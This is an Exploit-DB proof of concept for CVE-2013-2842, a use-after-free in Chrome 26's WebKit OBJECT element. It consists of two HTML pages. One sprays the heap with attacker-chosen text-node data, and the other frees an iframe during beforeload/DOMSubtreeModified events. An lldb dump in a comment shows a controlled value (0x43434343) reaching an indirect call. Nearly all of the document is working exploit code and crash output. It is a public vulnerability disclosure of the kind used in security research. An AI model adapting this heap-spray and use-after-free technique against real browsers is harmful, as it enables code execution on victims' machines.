标题: Google Chrome 26.0.1410.43 (Webkit) - OBJECT Element Use-After-Free (PoC) EDB-ID: 40243 CVE: 2013-2842 类型: DOS 平台: OSX 发布日期: 2013-04-04 漏洞利用脚本: #---object-beforeload-chrome.html---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
 <head>
  <script>
   function sprayOne(mem, size, v) {
                                var a = new Uint8ClampedArray(size - 20);
                                for (var j = 0; j < a.length; j++) a[j] = v;
    var t = document.createTextNode(String.fromCharCode.apply(null, new Uint16Array(a)));
                              mem.push(t);
   }
   function dsm(evnt) {
    // spray
    var mem = [];
    for (var j = 20; j < 8192; j++) sprayOne(mem, j, 0x43);
    
/*

Chromium release build 28.0.1461.0 (191833), built with options:

GYP_GENERATORS=ninja GYP_DEFINES='component=shared_library mac_strip_release=0' gclient runhooks

lldb attached to Chromium in --single-process mode:

* thread #28: tid = 0x3803, 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155, stop reason = EXC_BAD_ACCESS (code=1, address=0x43434617)
    frame #0: 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155
   152      virtual IntRect borderBoundingBox() const { return pixelSnappedBorderBoxRect(); } 
   153  
   154      // The content area of the box (excludes padding - and intrinsic padding for table cells, etc... - and border).
-> 155      LayoutRect contentBoxRect() const { return LayoutRect(borderLeft() + paddingLeft(), borderTop() + paddingTop(), contentWidth(), contentHeight()); }
   156      // The content box in absolute coords. Ignores transforms.
   157      IntRect absoluteContentBox() const;
   158      // The content box converted to absolute coords (taking transforms into account).

(lldb) reg read
General Purpose Registers:
       eax = 0x43434343
       ebx = 0x12ae436c
       ecx = 0x00000018
       edx = 0x0edab374
       edi = 0x0edd6858
       esi = 0x12ae436c
       ebp = 0xb9bf8e38
       esp = 0xb9bf8d50
        ss = 0x00000023
    eflags = 0x00010286
       eip = 0x07b617e4  libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
  libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172
        cs = 0x0000001b
        ds = 0x00000023
        es = 0x00000023
        fs = 0x00000023
        gs = 0x0000000f

(lldb) disass
libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172:
-> 0x7b617e4:  calll  *724(%eax)
   0x7b617ea:  movl   %eax, -180(%ebp)
   0x7b617f0:  movl   (%ebx), %eax
   0x7b617f2:  movl   %ebx, (%esp)

*/
   }
  </script>
 </head>
 <body>
  <iframe src="object-beforeload-frame-chrome.html"></iframe>
 </body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#





#---object-beforeload-frame-chrome.html------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
 <head>
  <script>
   var nb = 0;
   function handleBeforeLoad() {
    if (++nb == 1) {
     p.addEventListener('DOMSubtreeModified', parent.dsm, false);
    } else if (nb == 2) {
     p.removeChild(f);
    }
   }
   
   function documentLoaded() {
    f = window.frameElement;
    p = f.parentNode;
    var o = document.createElement("object");
    o.addEventListener('beforeload', handleBeforeLoad, false);
    document.body.appendChild(o);
   }

   window.onload = documentLoaded;
  </script>
 </head>
 <body></body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#

## E-DB Note: Source ~ https://bugs.chromium.org/p/chromium/issues/detail?id=226696 URL: https://www.exploit-db.com/exploits/40243